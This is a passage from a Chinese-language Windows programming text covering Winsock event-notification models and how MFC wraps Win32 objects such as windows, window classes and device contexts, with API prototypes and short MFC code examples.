int WSAAsyncSelect( SOCKET s, HWND hWnd, u_int wMsg, long lEvent);
s为需要事件通知的套接字
hWnd为接收消息的窗口句柄
wMsg为要接收的消息
lEvent为掩码,指定应用程序感兴趣的网络事件组合,主要如下:
#define FD_READ_BIT 0
#define FD_READ (1 << FD_READ_BIT)
#define FD_WRITE_BIT 1
#define FD_WRITE (1 << FD_WRITE_BIT)
#define FD_OOB_BIT 2
#define FD_OOB (1 << FD_OOB_BIT)
#define FD_ACCEPT_BIT 3
#define FD_ACCEPT (1 << FD_ACCEPT_BIT)
#define FD_CONNECT_BIT 4
#define FD_CONNECT (1 << FD_CONNECT_BIT)
#define FD_CLOSE_BIT 5
#define FD_CLOSE (1 << FD_CLOSE_BIT)

用法:要接收读写通知:
int nResult= WSAAsyncSelect(s,hWnd,wMsg,FD_READ|FD_WRITE);
if(nResult==SOCKET_ERROR)
{
//错误处理
}

取消通知:

int nResult= WSAAsyncSelect(s,hWnd,0,0);

当应用程序窗口hWnd收到消息时,wMsg.wParam参数标识了套接字,lParam的低字标明
了网络事件,高字则包含错误代码。

4、WSAEventSelect模型
WSAEventSelect模型类似WSAAsynSelect模型,但最主要的区别是网络事件发生时会被发
送到一个事件对象句柄,而不是发送到一个窗口。

使用步骤如下:
a、 创建事件对象来接收网络事件:

#define WSAEVENT HANDLE
#define LPWSAEVENT LPHANDLE
WSAEVENT WSACreateEvent( void );

该函数的返回值为一个事件对象句柄,它具有两种工作状态:已传信(signaled)和未传信
(nonsignaled)以及两种工作模式:人工重设(manual reset)和自动重设(auto reset)。默认未
未传信的工作状态和人工重设模式。

b、将事件对象与套接字关联,同时注册事件,使事件对象的工作状态从未传信转变未
已传信。

int WSAEventSelect( SOCKET s,WSAEVENT hEventObject,long lNetworkEvents );
s为套接字
hEventObject为刚才创建的事件对象句柄
lNetworkEvents为掩码,定义如上面所述

c、I/O处理后,设置事件对象为未传信
BOOL WSAResetEvent( WSAEVENT hEvent );
Hevent为事件对象

成功返回TRUE,失败返回FALSE。

d、等待网络事件来触发事件句柄的工作状态:

DWORD WSAWaitForMultipleEvents( DWORD cEvents,
const WSAEVENT FAR * lphEvents, BOOL fWaitAll,
DWORD dwTimeout, BOOL fAlertable );
lpEvent为事件句柄数组的指针
cEvent为为事件句柄的数目,其最大值为WSA_MAXIMUM_WAIT_EVENTS
fWaitAll指定等待类型:TRUE:当lphEvent数组重所有事件对象同时有信号时返回;
FALSE:任一事件有信号就返回。
dwTimeout为等待超时(毫秒)
fAlertable为指定函数返回时是否执行完成例程

对事件数组中的事件进行引用时,应该用WSAWaitForMultipleEvents的返回值,减去
预声明值WSA_WAIT_EVENT_0,得到具体的引用值。例如:

nIndex=WSAWaitForMultipleEvents(…);
MyEvent=EventArray[Index- WSA_WAIT_EVENT_0];
e、判断网络事件类型:

int WSAEnumNetworkEvents( SOCKET s,
WSAEVENT hEventObject, LPWSANETWORKEVENTS lpNetworkEvents );
s为套接字
hEventObject为需要重设的事件对象
lpNetworkEvents为记录网络事件和错误代码,其结构定义如下:

typedef struct _WSANETWORKEVENTS {
long lNetworkEvents;
int iErrorCode[FD_MAX_EVENTS];
} WSANETWORKEVENTS, FAR * LPWSANETWORKEVENTS;
f、关闭事件对象句柄:

BOOL WSACloseEvent(WSAEVENT hEvent);
调用成功返回TRUE,否则返回FALSE

MFC和Win32

  1. MFC Object和Windows Object的关系

MFC中最重要的封装是对Win32 API的封装,因此,理解Windows Object和MFC Object (C++对象,一个C++类的实例)之间的关系是理解MFC的关键之一。所谓Windows Object(Windows对象)是Win32下用句柄表示的Windows操作系统对象;所谓MFC Object (MFC对象)是C++对象,是一个C++类的实例,这里(本书范围内)MFC Object是有特定含义的,指封装Windows Object的C++ Object,并非指任意的C++ Object。

MFC Object 和Windows Object是不一样的,但两者紧密联系。以窗口对象为例:

一个MFC窗口对象是一个C++ CWnd类(或派生类)的实例,是程序直接创建的。在程序执行中它随着窗口类构造函数的调用而生成,随着析构函数的调用而消失。而Windows窗口则是 Windows系统的一个内部数据结构的实例,由一个“窗口句柄”标识,Windows系统创建它并给它分配系统资源。Windows窗口在MFC窗口对 象创建之后,由CWnd类的Create成员函数创建,“窗口句柄”保存在窗口对象的m_hWnd成员变量中。Windows窗口可以被一个程序销毁,也 可以被用户的动作销毁。MFC窗口对象和Windows窗口对象的关系如图2-1所示。其他的Windows Object和对应的MFC Object也有类似的关系。

下面,对MFC Object和Windows Object作一个比较。有些论断对设备描述表(MFC类是CDC,句柄是HDC)可能不适用,但具体涉及到时会指出。

  1. 从数据结构上比较

    MFC Object是相应C++类的实例,这些类是MFC或者程序员定义的;

    Windows Object是Windows系统的内部结构,通过一个句柄来引用;

    MFC给这些类定义了一个成员变量来保存MFC Object对应的Windows Object的句柄。对于设备描述表CDC类,将保存两个HDC句柄。

  2. 从层次上讲比较

    MFC Object是高层的,Windows Object是低层的;

    MFC Object封装了Windows Object的大部分或全部功能,MFC Object的使用者不需要直接应用Windows Object的HANDLE(句柄)使用Win32 API,代替它的是引用相应的MFC Object的成员函数。

  3. 从创建上比较

    MFC Object通过构造函数由程序直接创建;Windows Object由相应的SDK函数创建。

    MFC中,使用这些MFC Object,一般分两步:

    首先,创建一个MFC Object,或者在STACK中创建,或者在HEAP中创建,这时,MFC Object的句柄实例变量为空,或者说不是一个有效的句柄。

    然后,调用MFC Object的成员函数创建相应的Windows Object,MFC的句柄变量存储一个有效句柄。

    CDC(设备描述表类)的创建有所不同,在后面的2.3节会具体说明CDC及其派生类的创建和使用。

    当然,可以在MFC Object的构造函数中创建相应的Windows对象,MFC的GDI类就是如此实现的,但从实质上讲,MFC Object的创建和Windows Object的创建是两回事。

  4. 从转换上比较

    可以从一个MFC Object得到对应的Windows Object的句柄;一般使用MFC Object的成员函数GetSafeHandle得到对应的句柄。

    可以从一个已存在的Windows Object创建一个对应的MFC Object; 一般使用MFC Object的成员函数Attach或者FromHandle来创建,前者得到一个永久性对象,后者得到的可能是一个临时对象。

  5. 从使用范围上比较

    MFC Object对系统的其他进程来说是不可见、不可用的;而Windows Object一旦创建,其句柄是整个Windows系统全局的。一些句柄可以被其他进程使用。典型地,一个进程可以获得另一进程的窗口句柄,并给该窗口发送消息。

    对同一个进程的线程来说,只可以使用本线程创建的MFC Object,不能使用其他线程的MFC Object。

  6. 从销毁上比较

MFC Object随着析构函数的调用而消失;但Windows Object必须由相应的Windows系统函数销毁。

设备描述表CDC类的对象有所不同,它对应的HDC句柄对象可能不是被销毁,而是被释放。

当然,可以在MFC Object的析构函数中完成Windows Object的销毁,MFC Object的GDI类等就是如此实现的,但是,应该看到:两者的销毁是不同的。

每类Windows Object都有对应的MFC Object,下面用表格的形式列出它们之间的对应关系,如表2-1所示:

表2-1 MFC Object和Windows Object的对应关系

描述

Windows句柄

MFC Object

窗口

HWND

CWnd and CWnd-derived classes

设备上下文

HDC

CDC and CDC-derived classes

菜单

HMENU

CMenu

HPEN

CGdiObject类,CPen和CPen-derived classes

刷子

HBRUSH

CGdiObject类,CBrush和CBrush-derived classes

字体

HFONT

CGdiObject类,CFont和CFont-derived classes

位图

HBITMAP

CGdiObject类,CBitmap和CBitmap-derived classes

调色板

HPALETTE

CGdiObject类,CPalette和CPalette-derived classes

区域

HRGN

CGdiObject类,CRgn和CRgn-derived classes

图像列表

HimageLIST

CimageList和CimageList-derived classes

套接字

SOCKET

CSocket,CAsynSocket及其派生类

 


表2-1中的OBJECT分以下几类:

Windows对象,

设备上下文对象,

GDI对象(BITMAP,BRUSH,FONT,PALETTE,PEN,RGN),

菜单,

图像列表,

网络套接字接口。

从广义上来看,文档对象和文件可以看作一对MFC Object和Windows Object,分别用CDocument类和文件句柄描述。

后续几节分别对前四类作一个简明扼要的论述。

    1. Windows Object

      用SDK的Win32 API编写各种Windows应用程序,有其共同的规律:首先是编写WinMain函数,编写处理消息和事件的窗口过程WndProc,在WinMain里头注册窗口(Register Window),创建窗口,然后开始应用程序的消息循环。

      MFC应用程序也不例外,因为MFC是一个建立在SDK API基础上的编程框架。对程序员来说所不同的是:一般情况下,MFC框架自动完成了Windows登记、创建等工作。

      下面,简要介绍MFC Window对Windows Window的封装。

      1. Windows的注册

一个应用程序在创建某个类型的窗口前,必须首先注册该“窗口类”(Windows Class)。注意,这里不是C++类的类。Register Window把窗口过程、窗口类型以及其他类型信息和要登记的窗口类关联起来。

  1. “窗口类”的数据结构

    “窗口类”是Windows系统的数据结构,可以把它理解为Windows系统的类型定义,而Windows窗口则是相应“窗口类”的实例。Windows使用一个结构来描述“窗口类”,其定义如下:

    typedef struct _WNDCLASSEX {

    UINT cbSize; //该结构的字节数

    UINT style; //窗口类的风格

    WNDPROC lpfnWndProc; //窗口过程

    int cbClsExtra;

    int cbWndExtra;

    HANDLE hInstance; //该窗口类的窗口过程所属的应用实例

    HICON hIcon; //该窗口类所用的像标

    HCURSOR hCursor; //该窗口类所用的光标

    HBRUSH hbrBackground; //该窗口类所用的背景刷

    LPCTSTR lpszMenuName; //该窗口类所用的菜单资源

    LPCTSTR lpszClassName; //该窗口类的名称

    HICON hIconSm; //该窗口类所用的小像标

    } WNDCLASSEX;

    从“窗口类”的定义可以看出,它包含了一个窗口的重要信息,如窗口风格、窗口过程、显示和绘制窗口所需要的信息,等等。关于窗口过程,将在后面消息映射等有关章节作详细论述。

    Windows系统在初始化时,会注册(Register)一些全局的“窗口类”,例如通用控制窗口类。应用程序在创建自己的窗口时,首先必须注册自己的窗口类。在MFC环境下,有几种方法可以用来注册“窗口类”,下面分别予以讨论。

  2. 调用AfxRegisterClass注册

    AfxRegisterClass函数是MFC全局函数。AfxRegisterClass的函数原型:

    BOOL AFXAPI AfxRegisterClass(WNDCLASS *lpWndClass);

    参数lpWndClass是指向WNDCLASS结构的指针,表示一个“窗口类”。

    首先,AfxRegisterClass检查希望注册的“窗口类”是否已经注册,如果是则表示已注册,返回TRUE,否则,继续处理。

    接着,调用::RegisterClass(lpWndClass)注册窗口类;

    然 后,如果当前模块是DLL模块,则把注册“窗口类”的名字加入到模块状态的域m_szUnregisterList中。该域是一个固定长度的缓冲区,依次 存放模块注册的“窗口类”的名字(每个名字是以“\n\0”结尾的字符串)。之所以这样做,是为了DLL退出时能自动取消(Unregister)它注册 的窗口类。至于模块状态将在后面第9章详细的讨论。

    最后,返回TRUE表示成功注册。

  3. 调用AfxRegisterWndClass注册

    AfxRegisterWndClass函数也是MFC全局函数。AfxRegisterWndClass的函数原型:

    LPCTSTR AFXAPI AfxRegisterWndClass(UINT nClassStyle,

    HCURSOR hCursor, HBRUSH hbrBackground, HICON hIcon)

    参数1指定窗口类风格;

    参数2、3、4分别指定该窗口类使用的光标、背景刷、像标的句柄,缺省值是0。

    此函数根据窗口类属性动态地产生窗口类的名字,然后,判断是否该类已经注册,是则返回窗口类名;否则用指定窗口类的属性(窗口过程指定为缺省窗口过程),调用AfxRegisterCalss注册窗口类,返回类名。

    动态产生的窗口类名字由以下几部分组成(包括冒号分隔符):

    如果参数2、3、4全部为NULL,则由三部分组成。

    “Afx”+“:”+模块实例句柄”+“:”+“窗口类风格”

    否则,由六部分组成:

    “Afx”+“:”+模块实例句柄+“:”+“窗口类风格”+“:”+光标句柄+“:”+背景刷句柄+“:”+像标句柄。比如:“Afx:400000:b:13de:6:32cf”。

    该函数在MFC注册主边框或者文档边框“窗口类”时被调用。具体怎样用在5.3.3.3节会指出。

  4. 隐含的使用MFC预定义的的窗口类

    MFC4.0以前的版本提供了一些预定义的窗口类,4.0以后不再预定义这些窗口类。但是,MFC仍然沿用了这些窗口类,例如:

    用于子窗口的“AfxWnd”;

    用于边框窗口(SDI主窗口或MDI子窗口)或视的“AfxFrameOrView”;

    用于MDI主窗口的“AfxMDIFrame”;

    用于标准控制条的“AfxControlBar”。

    这些类的名字就 是“AfxWnd”、“AfxFrameOrView”、“AfxMdiFrame”、 “AfxControlBar”加上前缀和后缀(用来标识版本号或是否调试版等)。它们使用标准应用程序像标、标准文档像标、标准光标等标准资源。为了使用这些“窗口类”,MFC会在适当的时候注册这些类:或者要创建该类的窗口时,或者创建应用程序的主窗口时,等等。

    MFC内部使用了函数

    BOOL AFXAPI AfxEndDeferRegisterClass(short fClass)

    来 帮助注册上述原MFC版本的预定义“窗口类”。参数fClass区分了那些预定义窗口的类型。根据不同的类型,使用不同的窗口类风格、窗口类名字等填充 WndClass的域,然后调用AfxRegisterClass注册窗口类。并且注册成功之后,通过模块状态的 m_fRegisteredClasses记录该窗口类已经注册,这样该模块在再次需要注册这些窗口类之前可以查一下 m_fRegisteredClasses,如果已经注册就不必浪费时间了。为此,MFC内部使用宏

    AfxDeferRegisterClass(short fClass)

    来注册“窗口类”,如果m_fRegisteredClasses记录了注册的窗口类,返回TRUE,否则,调用AfxEndDeferRegisterClass注册。

    注册这些窗口类的例子:

    MFC在加载边框窗口时,会自动地注册“AfxFrameOrView”窗口类。在创建视时,就会使用该“窗口类”创建视窗口。当然,如果创建视窗口时,该“窗口类”还没有注册,MFC将先注册它然后使用它创建视窗口。

    不过,MFC并不使用”AfxMDIFrame”来创建MDI主窗口,因为在加载主窗口时一般都指定了主窗口的资源,MFC使用指定的像标注册新的MDI主窗口类(通过函数AfxRegisterWndClass完成,因此“窗口类”的名字是动态产生的)。

    MDI子窗口类似于上述MDI主窗口的处理。

    在MFC创建控制窗口时,如工具栏窗口,如果“AfxControlBar”类还没有注册,则注册它。注册过程很简单,就是调用::InitCommonControl加载通用控制动态连接库。

  5. 调用::RegisterWndClass。

    直接调用Win32的窗口注册函数::RegisterWndClass注册“窗口类”,这样做有一个缺点:如果是DLL模块,这样注册的“窗口类”在程序退出时不会自动的被取消注册(Unregister)。所以必须记得在DLL模块退出时取消它所注册的窗口类。

  6. 子类化

子类化(Subclass)一个“窗口类”,可自动地得到它的“窗口类”属性。

      1. MFC窗口类CWnd

在Windows系统里,一个窗口的属性分两个地方存放:一部分放在“窗口类”里头,如上所述的在注册窗口时指定;另一部分放在Windows Object本身,如:窗口的尺寸,窗口的位置(X,Y轴),窗口的Z轴顺序,窗口的状态(ACTIVE,MINIMIZED,MAXMIZED,RESTORED…),和其他窗口的关系(父窗口,子窗口…),窗口是否可以接收键盘或鼠标消息,等等。

为了表达所有这些窗口的共性,MFC设计了一个窗口基类CWnd。有一点非常重要,那就是CWnd提供了一个标准 而通用的MFC窗口过程,MFC下所有的窗口都使用这个窗口过程。至于通用的窗口过程却能为各个窗口实现不同的操作,那就是MFC消息映射机制的奥秘和作 用了。这些,将在后面有关章节详细论述。

CWnd提供了一系列成员函数,或者是对Win32相关函数的封装,或者是CWnd新设计的一些函数。这些函数大致如下。

(1)窗口创建函数

这里主要讨论函数Create和CreateEx。它们封装了Win32窗口创建函数::CreateWindowEx。Create的原型如下:

BOOL CWnd::Create(LPCTSTR lpszClassName,

LPCTSTR lpszWindowName, DWORD dwStyle,

const RECT& rect,

CWnd* pParentWnd, UINT nID,

CCreateContext* pContext)

Create是一个虚拟函数,用来创建子窗口(不能创建桌面窗口和POP UP窗口)。CWnd的基类可以覆盖该函数,例如边框窗口类等覆盖了该函数以实现边框窗口的创建,视类则使用它来创建视窗口。

Create调用了成员函数CreateEx。CWnd::CreateEx的原型如下:

BOOL CWnd::CreateEx(DWORD dwExStyle, LPCTSTR lpszClassName,

LPCTSTR lpszWindowName, DWORD dwStyle,

int x, int y, int nWidth, int nHeight,

HWND hWndParent, HMENU nIDorHMenu, LPVOID lpParam)

CreateEx有11个参数,它将调用::CreateWindowEx完成窗口的创建,这11个参数对应地传递给::CreateWindowEx。参数指定了窗口扩展风格、“窗口类”、窗口名、窗口大小和位置、父窗口句柄、窗口菜单和窗口创建参数。

CreateEx的处理流程将在后面4.4.1节讨论窗口过程时分析。

窗口创建时发送WM_CREATE消息,消息参数lParam指向一个CreateStruct结构的变量,该结构有11个域,其描述见后面4.4.1节对窗口过程的分析,Windows使用和CreateEx参数一样的内容填充该变量。

(2)窗口销毁函数

例如:

DestroyWindow函数 销毁窗口

PostNcDestroy( ),销毁窗口后调用,虚拟函数

(3)用于设定、获取、改变窗口属性的函数,例如:

SetWindowText(CString tiltle) 设置窗口标题

GetWindowText() 得到窗口标题

SetIcon(HICON hIcon, BOOL bBigIcon);设置窗口像标

GetIcon( BOOL bBigIcon ) ;得到窗口像标

GetDlgItem( int nID);得到窗口类指定ID的控制子窗口

GetDC(); 得到窗口的设备上下文

SetMenu(CMenu *pMenu); 设置窗口菜单

GetMenu();得到窗口菜单

(4)用于完成窗口动作的函数

用于更新窗口,滚动窗口,等等。一部分成员函数设计成或可重载(Overloaded)函数,或虚拟(Overridden)函数,或MFC消息处理函数。这些函数或者实现了一部分功能,或者仅仅是一个空函数。如:

  • 有关消息发送的函数:

SendMessage( UINT message,WPARAM wParam = 0, LPARAM lParam = 0 );

给窗口发送发送消息,立即调用方式

PostMessage(( UINT message,WPARAM wParam = 0, LPARAM lParam = 0 );

给窗口发送消息,放进消息队列

  • 有关改变窗口状态的函数

MoveWindow( LPCRECT lpRect, BOOL bRepaint = TRUE );

移动窗口到指定位置

ShowWindow(BOOL );显示窗口,使之可见或不可见

….

  • 实现MFC消息处理机制的函数:

virtual LRESULT WindowProc( UINT message, WPARAM wParam, LPARAM lParam ); 窗口过程,虚拟函数

virtual BOOL OnCommand( WPARAM wParam, LPARAM lParam );处理命令消息

  • 消息处理函数:

OnCreate( LPCREATESTRUCT lpCreateStruct );MFC窗口消息处理函数,窗口创建时由MFC框架调用

OnClose();MFC窗口消息处理函数,窗口创建时由MFC框架调用

  • 其他功能的函数

CWnd的导出类是类型更具体、功能更完善的窗口类,它们继承了CWnd的属性和方法,并提供了新的成员函数(消息处理函数、虚拟函数、等等)。

常用的窗口类及其层次关系见图1-1。

      1. 在MFC下创建一个窗口对象

MFC下创建一个窗口对象分两步,首先创建MFC窗口对象,然后创建对应的Windows窗口。在内存使用上,MFC窗口对象可以在栈或者堆(使用new创建)中创建。具体表述如下:

  • 创建MFC窗口对象。通过定义一个CWnd或其派生类的实例变量或者动态创建一个MFC窗口的实例,前者在栈空间创建一个MFC窗口对象,后者在堆空间创建一个MFC窗口对象。
  • 调用相应的窗口创建函数,创建Windows窗口对象。

例如:在前面提到的AppWizard产生的源码中,有CMainFrame(派生于CMDIFrame(SDI)或者CMDIFrameWnd(MDI))类。它有两个成员变量定义如下:

CToolBar m_wndToolBar;

CStatusBar m_wndStatusBar;

当创建CMainFrame类对象时,上面两个MFC Object也被构造。

CMainFrame还有一个成员函数

OnCreate(LPCREATESTRUCT lpCreateStruct),

它的实现包含如下一段代码,调用CToolBar和CStatusBar的成员函数Create来创建上述两个MFC对象对应的工具栏HWND窗口和状态栏HWND窗口:

int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)

{

if (!m_wndToolBar.Create(this) ||

!m_wndToolBar.LoadToolBar(IDR_MAINFRAME))

{

TRACE0("Failed to create toolbar\n");

return -1; // fail to create

}

if (!m_wndStatusBar.Create(this) ||

!m_wndStatusBar.SetIndicators(indicators,

sizeof(indicators)/sizeof(UINT)))

{

TRACE0("Failed to create status bar\n");

return -1; // fail to create

}

}

关于工具栏、状态栏将在后续有关章节作详细讨论。

在MFC中,还提供了一种动态创建技术。动态创建的过程实际上也如上所述分两步,只不过MFC使用这个技术是由框 架自动地完成整个过程的。通常框架窗口、文档框架窗口、视使用了动态创建。介于MFC的结构,CFrameWnd和CView及其派生类的实例即使不使用 动态创建,也要用new在堆中分配。理由见窗口的销毁(2.2.5节)。

至于动态创建技术,将在下一章具体讨论。

在Windows窗口的创建过程中,将发送一些消息,如:

在创建了窗口的非客户区(Nonclient area)之后,发送消息WM_NCCREATE;

在创建了窗口的客户区(client area)之后,发送消息WM_CREATE;

窗口的窗口过程在窗口显示之前收到这两个消息。

如果是子窗口,在发送了上述两个消息之后,还给父窗口发送WM_PARENATNOTIFY消息。其他类或风格的窗口可能发送更多的消息,具体参见SDK开发文档。

      1. MFC窗口的使用

        MFC提供了大量的窗口类,其功能和用途各异。程序员应该选择哪些类来使用,以及怎么使用他们呢?

        直 接使用MFC提供的窗口类或者先从MFC窗口类派生一个新的C++类然后使用它,这些在通常情况下都不需要程序员提供窗口注册的代码。是否需要派生新的C ++类,视MFC已有的窗口类是否能满足使用要求而定。派生的C++类继承了基类的特性并改变或扩展了它的功能,例如增加或者改变对消息、事件的特殊处理 等。

        主要使用或继承以下一些MFC窗口类(其层次关系图见图1-1):

        框架类CFrameWnd,CMdiFrameWnd;

        文档框架CMdiChildWnd;

        视图CView和CView派生的有特殊功能的视图如:列表CListView,编辑CEditView,树形列表CTreeView,支持RTF的CRichEditView,基于对话框的视CFormView等等。

        对话框CDialog。

        通常,都要从这些类派生应用程序的框架窗口和视窗口或者对话框。

        工具条CToolBar

        状态条CStatusBar

        其他各类控制窗口,如列表框CList,编辑框CEdit,组合框CComboBox,按钮Cbutton等。

        通常,直接使用这些类。

      2. 在MFC下窗口的销毁

窗口对象使用完毕,应该销毁。在MFC下,一个窗口对象的销毁包括HWND窗口对象的销毁和MFC窗口对象的销毁。一般情况下,MFC编程框架自动地处理了这些。

(1)对CFrameWnd和CView的派生类

这些窗口的关闭导致销毁窗口的函数DestroyWindow被调用。销毁Windows窗口时,MFC框架调用 的最后一个成员函数是OnNcDestroy函数,该函数负责Windows清理工作,并在最后调用虚拟成员函数PostNcDestroy。 CFrameWnd和CView的PostNcDestroy调用delete this删除自身这个MFC窗口对象。

所以,对这些窗口,如前所述,应在堆(Heap)中分配,而且,不要对这些对象使用delete操作。

(2)对Windows Control窗口

在它们的析构函数中,将调用DestroyWidnow来销毁窗口。如果在栈中分配这样的窗口对象,则在超出作用范围的时候,随着析构函数的调用,MFC窗口对象和它的Windows window对象都被销毁。如果在堆(Heap)中分配,则显式调用delete操作符,导致析构函数的调用和窗口的销毁。

所以,这种类型的窗口应尽可能在栈中分配,避免用额外的代码来销毁窗口。如前所述的CMainFrame的成员变量m_wndStatusBar和m_wndToolBar就是这样的例子。

(3)对于程序员直接从CWnd派生的窗口

程序员可以在派生类中实现上述两种机制之一,然后,在相应的规范下使用。

后面章节将详细的讨论应用程序退出时关闭、清理窗口的过程。

    1. 设备描述表

      1. 设备描述表概述

当一个应用程序使用GDI函数时,必须先装入特定的设备驱动程序,然后为绘制窗口准备设备描述表,比如指定线的宽度和颜色、刷子的样式和颜色、字体、剪裁区域等等。不像其他Win32结构,设备描述表不能被直接访问,只能通过系列Win32函数来间接地操作。

如同Windows“窗口类”一样,设备描述表也是一种Windows数据结构,用来描述绘制窗口所需要的信息。它定义了一个坐标映射模式、一组GDI图形对象及其属性。这些GDI对象包括用于画线的笔,绘图、填图的刷子,位图,调色板,剪裁区域,及路径(Path)。

表2-2列出了设备描述表的结构和各项缺省值,表2-3列出了设备描述表的类型,表2-4显示设备描述表的类型。

表2-2 设备描述表的结构

属性

缺省值

Background color

Background color setting from Windows Control Panel (typically, white)

Background mode

OPAQUE

Bitmap

None

Brush

WHITE_BRUSH

Brush origin

(0,0)

Clipping region

Entire window or client area with the update region clipped, as appropriate. Child and pop-up windows in the client area may also be clipped

Palette

DEFAULT_PALETTE

Current pen position

(0,0)

Device origin

Upper left corner of the window or the client area

Drawing mode

R2_COPYPEN

Font

SYSTEM_FONT (SYSTEM_FIXED_FONT for applications written to run with Windows versions 3.0 and earlier)

Intercharacter spacing

0

Mapping mode

MM_TEXT

Pen

BLACK_PEN

Polygon-fill mode

ALTERNATE

Stretch mode

BLACKONWHITE

Text color

Text color setting from Control Panel (typically, black)

Viewport extent

(1,1)

Viewport origin

(0,0)

Window extent

(1,1)

Window origin

(0,0)

 

表2-3 设备描述表的分类

Display

显示设备描述表,提供对视频显示设备上的绘制操作的支持

Printer

打印设备描述表,提供对打印机、绘图仪设备上的绘制操作的支持

Memory

内存设备描述表,提供对位图操作的支持

Information

信息设备描述表,提供对操作设备信息获取的支持

表2-3中的显示设备描述表又分三种类型,如表2-4所示。

表2-4 显示设备描述表的分类

名称

特点

功能

Class Device

Contexts

提供对Win16的向后兼容

 

Common

Device

Contexts

在Windows系统的高速缓冲区,数量有限

Applicaion获取设备描述表时,Windows用缺省值初始化该设备描述表,Application使用它完成绘制操作,然后释放

Private

Device

Contexts

没有数量限制,用完不需释放一次获取,多次使用

多次使用过程中,每次设备描述表属性的任何修改或变化都会被保存,以支持快速绘制

(1)使用设备描述表的步骤

要使用设备描述表,一般有如下步骤:

  • 获取或者创建设备描述表;
  • 必要的话,改变设备描述表的属性;
  • 使用设备描述表完成绘制操作;
  • 释放或删除设备描述表。

Common设备描述表通过::GetDC,::GetDCEx,::BeginPaint来获得一个设备描述表,用毕,用::ReleaseDC或::EndPaint释放设备描述表;

Printer设备描述表通过::CreateDC创建设备描述表,用::DeleteDC删除设备描述表。

Memory设备描述表通过::CreateCompatibleDC创建设备描述表,用::DeleteDC删除。

Information设备描述表通过::CreateIC创建设备描述表,用::DeleteDC删除。

(2)改变设备描述表属性的途径

要改变设备描述表的属性,可通过以下途径:

用::SelectObject选入新的除调色板以外的GDI Object到设备描述表中;

对于调色板,使用::SelectPalette函数选入逻辑调色板,并使用::RealizePalette把逻辑调色板的入口映射到物理调色板中。

用其他API函数改变其他属性,如::SetMapMode改变映射模式。

      1. 设备描述表在MFC中的实现

MFC提供了CDC类作为设备描述表类的基类,它封装了Windows的HDC设备描述表对象和相关函数。

  1. CDC类

    CDC类包含了各种类型的Windows设备描述表的全部功能,封装了所有的Win32 GDI 函数和设备描述表相关的SDK函数。在MFC下,使用CDC的成员函数来完成所有的窗口绘制工作。

    CDC 类的结构示意图2-2所示。

    CDC类有两个成员变量:m_hDC,m_hAttribDC,它们都是Windows设备描述表句柄。CDC的成员函数作输出操作时,使用m_Hdc;要获取设备描述表的属性时,使用m_hAttribDC。

    在 创建一个CDC类实例时,缺省的m_hDC等于m_hAttribDC。如果需要的话,程序员可以分别指定它们。例如,MFC框架实现 CMetaFileDC类时,就是如此:CMetaFileDC从物理设备上读取设备信息,输出则送到元文件(metafile)上,所以m_hDC和 m_hAttribDC是不同的,各司其责。还有一个类似的例子:打印预览的实现,一个代表打印机模拟输出,一个代表屏幕显示。

    CDC封装::SelectObject(HDC hdc,HGDIOBJECT hgdiobject)函数时,采用了重载技术,即它针对不同的GDI对象,提供了名同而参数不同的成员函数:

    SelectObject(CPen *pen)用于选入笔;

    SelectObject(CBitmap* pBitmap)用于选入位图;

    SelectObject(CRgn *pRgn)用于选入剪裁区域;

    SelectObject(CBrush *pBrush)用于选入刷子;

    SelectObject(CFont *pFont)用于选入字体;

    至于调色板,使用SelectPalette(CPalette *pPalette,BOOL bForceBackground )选入调色板到设备描述表,使用RealizePalletter()实现逻辑调色板到物理调色板的映射。

  2. 从CDC派生出功能更具体的设备描述表

从CDC 派生出四个功能更具体的设备描述表类。层次如图2-3所示。

下面,分别讨论派生出的四种设备描述表。

  • CCientDC

代表窗口客户区的设备描述表。其构造函数CClientDC(CWnd *pWin)通过::GetDC获取指定窗口的客户区的设备描述表HDC,并且使用成员函数Attach把它和CClientDC对象捆绑在一起;其析构函数使用成员函数Detach把设备描述表句柄HDC分离出来,并调用::ReleaseDC释放设备描述表HDC。

  • CPaintDC

仅仅用于响应WM_PAINT消息时绘制窗口,因为它的构造函数调用了::BeginPaint获取设备描述表 HDC,并且使用成员函数Attach把它和CPaintDC对象捆绑在一起;析构函数使用成员函数Detach把设备描述表句柄HDC分离出来,并调 用::EndPaint释放设备描述表HDC,而::BeginPaint和::EndPaint仅仅在响应WM_PAINT时使用。

  • CMetaFileDC

用于生成元文件。

  • CWindowDC

代表整个窗口区(包括非客户区)的设备描述表。其构造函数CWindowDC(CWnd *pWin)通过::GetWindowDC获取指定窗口的客户区的设备描述表HDC,并使用Attach把它和CWindowDC对象捆绑在一起;其析构函数使用Detach把设备描述表HDC分离出来,调用::ReleaseDC释放设备描述表HDC。

      1. MFC设备描述表类的使用

  1. 使用CPaintDC、CClientDC、CWindowDC的方法

    首先,定义一个这些类的实例变量,通常在栈中定义。然后,使用它。

    例如,MFC中CView对WM_PAINT消息的实现方法如下:

    void CView::OnPaint()

    {

    // standard paint routine

    CPaintDC dc(this);

    OnPrepareDC(&dc);

    OnDraw(&dc);

    }

    在栈中定义了CPaintDC类型的变量dc,随着构造函数的调用获取了设备描述表;设备描述表使用完毕,超出其有效范围就被自动地清除,随着析构函数的调用,其获取的设备描述表被释放。

    如果希望在堆中创建,例如

    CPaintDC *pDC;

    pDC = new CPaintDC(this)

    则在使用完毕时,用delete删除pDC:

    delete pDC;

  2. 直接使用CDC

需要注意的是:在生成CDC对象的时候,并不像它的派生类那样,在构造函数里获取相应的Windows设备描述表。最好不要使用::GetDC等函数来获取一个设备描述表,而是创建一个设备描述表。其构造函数如下:

CDC::CDC()

{

m_hDC = NULL;

m_hAttribDC = NULL;

m_bPrinting = FALSE;

}

其析构函数如下:

CDC::~CDC()

{

if (m_hDC != NULL)

::DeleteDC(Detach());

}

在CDC析构函数中,如果设备描述表句柄不空,则调用DeleteDC删除它。这是直接使用CDC时最好创建 Windows设备描述表的理由。如果设备描述表不是创建的,则应该在析构函数被调用前分离出设备描述表句柄并用::RealeaseDC释放它,释放后 m_hDC为空,则在析构函数调用时不会执行::DeleteDC。当然,不用担心CDC的派生类的析构函数调用CDC的析构函数,因为CDC:: ~CDC()不是虚拟析构函数。

直接使用CDC的例子是内存设备上下文,例如:

CDC dcMem; //声明一个CDC对象

dcMem.CreateCompatibleDC(&dc); //创建设备描述表

pbmOld = dcMem.SelectObject(&m_bmBall);//更改设备描述表属性

…//作一些绘制操作

dcMem.SelectObject(pbmOld);//恢复设备描述表的属性

dcMem.DeleteDC(); //可以不调用,而让析构函数去删除设备描述表

    1. GDI对象

